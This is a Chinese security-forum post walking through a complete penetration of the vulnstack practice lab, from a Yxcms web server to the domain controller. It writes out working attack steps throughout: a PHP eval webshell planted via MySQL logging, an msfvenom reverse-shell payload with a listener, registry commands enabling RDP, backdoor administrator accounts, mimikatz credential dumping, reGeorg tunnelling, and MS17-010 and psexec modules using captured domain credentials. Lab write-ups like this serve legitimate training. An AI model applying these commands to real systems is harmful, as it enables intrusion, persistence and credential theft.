安全矩阵

 找回密码
 立即注册
搜索
查看: 4960|回复: 0

记一次完整的内网靶场渗透

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-9-20 10:07:46 | 显示全部楼层 |阅读模式

环境搭建

1.1 靶场搭建

本次靶场:红日 vulnstack靶机
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

该靶场分为VM1(Windows 7)、VM2(Windows server 2003)、和VM3(Windows server 2008)三个系统,简单的网络拓扑图如图1所示:



图1 靶场网络拓扑图


其中kali Linux设置为桥接模式;
Windows 7(VM1)网络适配器1设置为桥接模式,
网络适配器2设置为NET模式;
Windows server 2003(VM2)网络适配器设置为NET模式;
Windows server 2008(VM3)网络适配器设置为NET模式。

此时VM1、VM2、VM3就处在2,只有VM1web服务器能够访问内网,所以想要访问Windows server 2003和Windows server 2008服务器,就必须要先拿下Windows 7,以它为跳板进行内网的横向渗透。

Windows 7
内网IP:192.168.52.143、255.255.255.0、192.168.52.2
外网IP:192.168.1.4、255.255.255.0、192.168.1.1

Windows server 2003
IP:192.168.52.141、 255.255.255.0、 192.168.52.2

Windows server 2008
IP:192.168.52.138、 255.255.255.0、192.168.52.2

攻击机  KALI
IP:192.168.85.130、255.255.255.0、 192.168.85.255

物理机 Windows 10
IP:192.168.1.13、255.255.255.0、192.168.1.1

(注:由于本次渗透不是一次性完成的,所以在以下的过程记录中,IP可能会发生变化)

1.2 信息收集

(前提条件:我们只知道Windows 7 web服务器的外网IP:192.168.1.4)
(1)在kali Linux中使用Nmap进行端口扫描,扫描结果如图2所示:


图2 Nmap信息收集

目标开放25(SMTP,邮件)、80(http)、110(https)、3306(MySQL)端口;访问80端口,是一个Yxcms的网站,如图3:


图3 web站点

(2)对网站进行目录扫描,扫描结果如图4所示:

图4 网站目录扫描结果

漏洞利用(两种getshell方式)

2.1 yxcms后台getshell

对整个网页测试了一遍,并没有发现明显的SQL注入,在会员登录(图5)处注意到了URL的特点会员登录的URL如下:
http://192.168.1.4/index.php?r=member/index/login
将r的参数改为admin后就到了管理员后台登录处(图5,这里其实是yxcms的默认后台管理登录的地址)

图5 会员登录


图6 后台管理登录

在这里通过BP抓包测试,发现他的验证码是可以重复使用的,那么就意味着可以进行爆破,验证码复用测试比对图如图7所示:

图7  验证码复用测试比对图


经过爆破,账号密码是admin/123456,登入后台

图8 登录后台

在yxcms中,后台的模板管理处可以通过插入一句话木马进行getshell
在前台模板->管理模板文件->index_index.php处编辑,插入一句话木马(图9)

图9 插入一句话木马

使用菜刀连接后即可getshell,经过查询后是具有系统权限(图10、11)

图10 菜刀连接


图11 当前权限查询

2.2 PHPmyadmin后台getshell

在前面的信息收集过程中,我们发现了一个phpmyadmin的目录,访问后并尝试弱口令登录,经过测试账号密码都是root(图12)

图12 PHPmyadmin后台管理

在这里可以通过开启全局日志的方式getshell,在SQL语句中执行以下两条命令:
  1. set global general_log=on;# 开启日志
  2. set global general_log_file='C:/phpstudy/www/v01cano.php';# 设置日志位置为网站目录
复制代码
然后使用
  1. SHOW VARIABLES LIKE '%general%'
复制代码
查看一下命令是否成功执行(图13)



图13 查看命令是否执行成

通过执行SQL语句:
  1. select "<?php eval($_POST[apple]);?>"
复制代码



插入一句话木马即可getshell(图14、15)

图14 成功插入一句话木马



图15 菜刀成功连接

三内网渗透

3.1 尝试远程登录

在获取webshell后,查看当前权限以及3389端口开放情况。经过查询,当前为系统权限,但是3389端口并没有开放,可以通过以下指令来开启3389端口(适用于win7、win2003、winxp,关闭命令把如下0都换成1即可),如图16。

  1. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
复制代码

图16 开启389端口

添加用户并添加到管理员组中,如图17所示

  1. net user yuuki !@#QWE123 /add # 添加账户密码
  2. net localgroup administrators yuuki /add # 给test账户添加为管理员权限
  3. net user # 查询是否成功添加yuuki用户
复制代码

图17 添加账户并添加到管理员组中

使用我们添加的账户进行远程登录,但是提示无法连接(账后密码都对,3389也处于开启状态)。通过Nmap扫描3389,发现端口状态是filtered,如图18。(这里查看靶机防火墙后,发现通过防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。)



图18 3389端口状态

此时可以有两种思路:
(1)通过MSF或CobaltStrike反弹一个shell,然后关闭防火墙;
(2)尝试使用隧道连接3389.

3.2 MSF反弹shell

尝试通过MSF生成木马文件上传至服务器,然后在MSF上进行监听,如图19、20。
生成反弹shell程序
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=4444 -f exe > shell.exe
复制代码
通过菜刀上传至服务器,并运行起来。


图19 生成木马文件

在kali Linux中运行起来msf,设置监听的模块

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost 192.168.1.20
  4. set lport 4433
  5. run
复制代码

图20 监听到返回的shell


3.3 使用隧道连接3389

尝试通过隧道方式连接3389,在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。
开通隧道时隧道名称随意写,本地端口写想要转发出去的计算机IP及端口(可以为局域网内任意机器映射,这里填入想要转发的win7的IP及端口)



图21 创建隧道



图22 启动Sunny-Ngrok工具

本地填入域名端口远程连接,可以成功登陆,关闭防火墙。(Sunny-Ngrok启动工具需要一直开着)



图23 远程连接

3.4 使用CobaltStrike生成后门并连接

通过mimikatz抓取密码,图24、25

图24 启动mimikatz

图25 抓取到了账号密码

3.5 域信息搜集
可以通过以下的一些常用命令进行信息收集
  1. net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
  2. net user /domain        #查看域用户
  3. net view /domain        #查看有几个域
  4. ipconfig /all             #查询本机IP段,所在域等
  5. net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
  6. net user              #本机用户列表
  7. net group "domain computers" /domain   #查看域内所有的主机名
  8. net group "domain admins" /domain      #查看域管理员
  9. net group "domain controllers" /domain #查看域控
  10. net localhroup administrators          #本机管理员[通常含有域用户]
  11. net user 用户名 /domain                 #获取指定用户的账户信息  
  12. net group /domain                      #查询域里面的工作组
  13. net group 组名 /domain                  #查询域中的某工作组
复制代码
最终,通过信息收集,获取到了如下信息:
域:owa.god.org
域内的用户:Administrator、Guest、krbtgt、ligang、liukaifeng01
域内的主机:owa、ROOT-TVI862UBEH、STU1
域控:owa
Windows 7的内网IP:192.168.52.143  255.255.255.0  192.168.52.2
横向渗透

4.1 添加路由、挂Socks4a代理

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递;
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务;
(注:添加路由一定要在挂代理之前,因为代理需要用到路由功能)
(1)添加内网路由

图26 添加路由

使用arp -a 查看一下所有接口的当前ARP缓存


图27 ARP缓存

(2)设置代理,设置成功后打开其他程序时都要在前面加上proxychains
通过reGeorge+socks4的方式添加代理。

首先是reGeorge的安装,
下载:https://github.com/sensepost/reGeorg

运行序偶需要的环境:
Python、pip、urllib3;

pip安装(kali2020):
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py

urllib3安装:
pip install urllib3

首先,Windows7的靶机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站,并访问



图28 访问tunnel.nosocket.php

之后在kali中执行命令:
  1. python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.4/tunnel.nosocket.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;
复制代码
然后配置proxychains代理链的配置文件/etc/proxychains.conf,将代理设置成本机的1080端口:socks4 127.0.0.1 1080

然后命令前面加上proxychains即可。如:proxychains curl http://192.168.52.139



图29 启动reGeorg


图30 设置代理


图31 访问内网测试


图32 访问内网测试

4.2 拿下第二台主机

前面添加好代理后,对141主机进行端口扫描

图33 使用Nmap进行端口扫描



图34 开放了445端口

开放了445端口,所以利用
use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是Windows server 2003



图35 系统识别

这里可以通过MS17_010进行远程命令执行,添加用户并添加到管理员组中,开启3389端口。


图36 加载攻击模块


图37 设置配置信息


图38 执行成功

使用同样的方法添加账户,添加到管理员组

  1. use auxiliary/admin/smb/ms17_010_command
  2. show options #查看配置
  3. set rhosts 192.168.52.141 #指定靶机IP
  4. set command net user test @!FuckSEC!@ /add #添加用户
  5. run #成功执行
  6. set command net localgroup administrators test /add #管理员权限
  7. run #成功执行
  8. set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
  9. run #成功执行
复制代码

图39 远程登录

因为主机开启了135端口,所以也可以使用MS03_026


use exploit/windows/dcerpc/ms03_026_dcom


图40 加载攻击载荷

因为我们添加了代理,所以应该选用正向shell


set payload windows/meterpreter/bind_tcp
针对141主机



图41 选择监听payload


图42 获取session会话

4.3 拿下域控
域控的IP地址是192.168.52.138,经过Nmap扫描后同样开放着445端口,使用use auxiliary/scanner/smb/smb_version 扫描系统版本,扫描结果是Windows server 2008



图43 扫描系统版本

前面我们抓取到了域控的账号密码,如图25,可以通过use exploit/windows/smb/psexec模块进行攻击获取session
  1. use exploit/windows/smb/psexec
  2. set rhosts 192.168.52.138
  3. set smbdomain GOD.ORG
  4. set smbuser Administrator
  5. set smbpass hongrisec@2020
  6. set payload windows/meterpreter/bind_tcp(这里使用正向代理)
  7. run
复制代码

图44 成功获取session
至此,所有的操作完成,成功拿下了三台服务器。
原创不易,如果您觉得不错,动动发财的小手指,点个赞,转发分享



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 07:53 , Processed in 0.015961 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表